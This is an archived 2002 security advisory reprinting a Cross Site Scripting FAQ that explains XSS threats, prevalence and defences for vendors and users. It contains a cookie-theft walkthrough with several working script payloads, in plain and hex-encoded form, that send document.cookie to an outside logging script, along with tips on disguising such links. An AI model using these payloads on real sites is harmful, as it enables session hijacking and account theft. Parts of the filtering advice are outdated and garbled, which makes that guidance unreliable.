22th May 2002 [SBWID-5355]
COMMAND
Cross Site Scripting white paper
SYSTEMS AFFECTED
Many if not all web services
PROBLEM
zeno of cgisecurity [zeno@cgisecurity.com] released the following white
paper, original location is :
http://www.cgisecurity.com/articles/xss-faq.shtml
Editor\'s note : further reading and advance technique may be found at :
=============
http://www.idefense.com/XSS.html
\"The Cross Site Scripting FAQ\"
Introduction
What is Cross Site Scripting?
What does XSS and CSS mean?
What are the threats of Cross Site Scripting?
What are some examples of cross site scripting attacks?
Can you show me what cookie theft looks like?
What can I do to protect myself as a vendor?
What can I do to protect myself as a user?
How common are CSS/XSS holes?
Does encryption protect me?
Can CSS/XSS holes allow command execution?
What if I don\'t feel like fixing a CSS/XSS Hole?
What are some links I can visit to help me further understand XSS?
Introduction
Websites today are more complex than ever, containing a lot of dynamic
content making the experience for the user more enjoyable. Dynamic
content is achieved through the use of web applications which can
deliver different output to a user depending on their settings and
needs. Dynamic websites have a threat that static websites don\'t,
called \"Cross Site Scripting\" (or XSS dubbed by other security
professionals). Currently small informational tidbits about Cross Site
Scripting holes exist but none really explain them to an average person
or administrator. This FAQ was written to provide a better
understanding of this emerging threat, and to give guidance on
detection and prevention.
\"What is Cross Site Scripting?\"
Cross site scripting (also known as XSS) occurs when a web application
gathers malicious data from a user. The data is usually gathered in the
form of a hyperlink which contains malicious content within it. The
user will most likely click on this link from another website, web
board, email, or from an instant message. Usually the attacker will
encode the malicious portion of the link to the site in HEX (or other
encoding methods) so the request is less suspicious looking to the user
when clicked on. After the data is collected by the web application, it
creates an output page for the user containing the malicious data that
was originally sent to it, but in a manner to make it appear as valid
content from the website.
\"What does XSS and CSS mean?\"
Often people refer to Cross Site Scripting as CSS. There has been a lot
of confusion with Cascading Style Sheets (CSS) and cross site
scripting. Some security people refer to Cross Site Scripting as XSS.
If you hear someone say \"I found a XSS hole\", they are talking about
Cross Site Scripting for certain.
\"What are the threats of Cross Site Scripting?\"
Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or
Flash to fool a user (Read below for further details), or gather data
from them. Everything from account hijacking, changing of user
settings, cookie theft/poisoning, or false advertising is possible. New
malicious uses are being found every day for XSS attacks. The post
below by Brett Moore brings up a good point with regard to \"Denial Of
Service\", and potential \"auto-attacking\" of hosts if a user simply
reads a post on a message board.
http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
\"What are some examples of cross site scripting attacks?\"
One product with many XSS holes is the popular PHP program PHPnuke.
This product is often targeted by attackers to probe for XSS holes
because of its popularity. I have included a few links of
advisories/reports that have been discovered and disclosed just from
this product alone. The following collection should provide plenty of
examples.
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt
\"Can you show me what XSS cookie theft looks like?\"
Depending on the particular web application some of the variables and
positioning of the injections may need to be adjusted. Keep in mind the
following is a simple example of an attacker\'s methodology.
Step 1: Targeting
After you have found an XSS hole in a web application on a website,
check to see if it issues cookies. If any part of the website uses
cookies, then it is possible to steal them from its users.
Step 2: Testing
Since XSS holes are different in how they are exploited, some testing
will need to be done in order to make the output believable. By
inserting code into the script, its output will be changed and the page
may appear broken. (The end result is crucial and the attacker will
have to do some touching up in the code to make the page appear
normal.) Next you will need to insert some Javascript (or other client
side scripting language) into the URL pointing to the part of the site
which is vulnerable. Below I have provided a few links that are for
public use when testing for XSS holes. These links below, when clicked
on will send the users cookie to www.cgisecurity.com/cgi-bin/cookie.cgi
and will display it. If you see a page displaying a cookie then session
hijacking of the user\'s account may be possible.
Cookie theft Javascript Examples.
A example of usage is below.
ASCII Usage:
http://host/a.php?variable=\"><script>document.location=\'http://www.cgisecurity.com/cgi-bin/cookie.cgi?
\'%20+document.cookie</script>
Hex Usage:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes.
1. \"><script>document.location=\'http://www.cgisecurity.com/cgi-bin/cookie.cgi?\'
+document.cookie</script>
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27
%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69
%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f
%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
2. <script>document.location=\'http://www.cgisecurity.com/cgi-bin/cookie.cgi?\'
+document.cookie</script>
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74
%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e
%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c
%2f%73%63%72%69%70%74%3e
3. ><script>document.location=\'http://www.cgisecurity.com/cgi-bin/cookie.cgi?\'
+document.cookie</script>
HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74
%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69
%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65
%3c%2f%73%63%72%69%70%74%3e
These are the examples of \"evil\" Javascript we will be using. These
Javascript examples gather the users cookie and then send a request to
the cgisecurity.com website with the cookie in the query. My script on
cgisecurity.com logs each request and each cookie. In simple terms it
is doing the following:
My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi
It sends a request to my site that looks like this.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space)
This is a primitive but effective way of grabbing a user\'s cookie.
Logs of the use of this public script can be found at
www.cgisecurity.com/articles/cookie-theft.log
Step 3: XSS Execution
Hand out your crafted url or use email or other related software to
help launch it. Make sure that if you provide the URL to the
user(through email, aim, or other means) that you at least HEX encode
it. The code is obviously suspicious looking but a bunch of hex
characters may fool a few people.
In my example I only forward the user to cookie.cgi. A attacker with
more time could do a few redirects and XSS combo\'s to steal the
user\'s cookie, and return them to the website without noticing the
cookie theft.
Some email programs may execute the Javascript upon the opening of a
message or if the Javascript is contained in a message attachment.
Larger sites like Hotmail do allow Javascript inside attachments but
they do special filtering to prevent cookie theft.
Step 4: What to do with this data
Once you have gotten the user to execute the XSS hole, the data is
collected and sent to your CGI script. Now that you have the cookie you
can use a tool like Websleuth to see if account hijacking is possible.
This is only a FAQ, not a detailed paper on cookie theft and
modification. A new paper released by David Endler of iDefense goes
into more detail on some of the ways to automatically launch XSS holes.
This paper can be found at http://www.idefense.com/idpapers/XSS.pdf.
\"What can I do to protect myself as a vendor?\"
This is a simple answer. Never trust user input and always filter
metacharacters. This will eliminate the majority of XSS attacks.
Converting < and > to < and > is also suggested when it comes to
script output. Remember XSS holes can be damaging and costly to your
business if abused. Often attackers will disclose these holes to the
public, which can erode customer and public confidence in the security
and privacy of your organization\'s site. Filtering < and > alone
will not solve all cross site scripting attacks and it is suggested you
also attempt to filter out ( and ) by translating them to ( and ).
\"What can I do to protect myself as a user?\"
The easiest way to protect yourself as a user is to only follow links
from the main website you wish to view. If you visit one website and it
links to CNN for example, instead of clicking on it visit CNN\'s main
site and use its search engine to find the content. This will probably
eliminate ninety percent of the problem. Sometimes XSS can be executed
automatically when you open an email or attachment. If you are
receiving email from a person you don\'t know (or don\'t like) don\'t
trust anything it has to say. Another way to protect yourself is to
turn off Javascript in your browser settings. In IE turn your security
settings to high. This can prevent cookie theft, and in general is a
safer thing to do.
\"How common are XSS holes?\"
Cross site scripting holes are gaining popularity among hackers as easy
holes to find in large websites. Websites from FBI.gov, CNN.com,
Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and
Newsbytes have all had one form or another of XSS bugs.
Every month roughly 10-25 XSS holes are found in commercial products
and advisories are published explaining the threat.
\"Does encryption protect me?\"
Websites that use SSL (https) are in no way more protected than
websites that are not encrypted. The web applications work the same way
as before, except the attack is taking place in an encrypted
connection. People often think that because they see the lock on their
browser it means everything is secure. This just isn\'t the case.
\"Can XSS holes allow command execution?\"
XSS holes can allow Javascript insertion, which may allow for limited
execution. If an attacker were to exploit a browser flaw (browser hole)
it could then be possible to execute commands on the client\'s side. If
command execution were possible it would only be possible on the client
side. In simple terms XSS holes can be used to help exploit other holes
that may exist in your browser.
\"What if I don\'t feel like fixing a CSS/XSS Hole?\"
By not fixing an XSS hole this could allow possible user account
compromise in portions of your site as they get added or updated. Cross
Site Scripting has been found in various large sites recently and have
been widely publicized. Left unrepaired, someone may discover it and
publish a warning about your company. This may damage your company\'s
reputation, depicting it as being lax on security matters. This of
course also sends the message to your clients that you aren\'t dealing
with every problem that arises, which turns into a trust issue. If your
client doesn\'t trust you why would they wish to do business with you?
\"What are some links I can visit to help me further understand XSS?\"
\"Cross-site scripting tears holes in Net security\"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm
Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html
\"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
Requests\"
http://www.cert.org/advisories/CA-2000-02.html
Paper on Removing Meta-characters from User Supplied Data in CGI
Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html
Paper on Microsoft\'s Passport System
http://eyeonsecurity.net/papers/passporthijack.html
Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies
The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com
Many Thanks to David Endler for reviewing this document.
Published to the Public May 2002
Copyright May 2002 Cgisecurity.com
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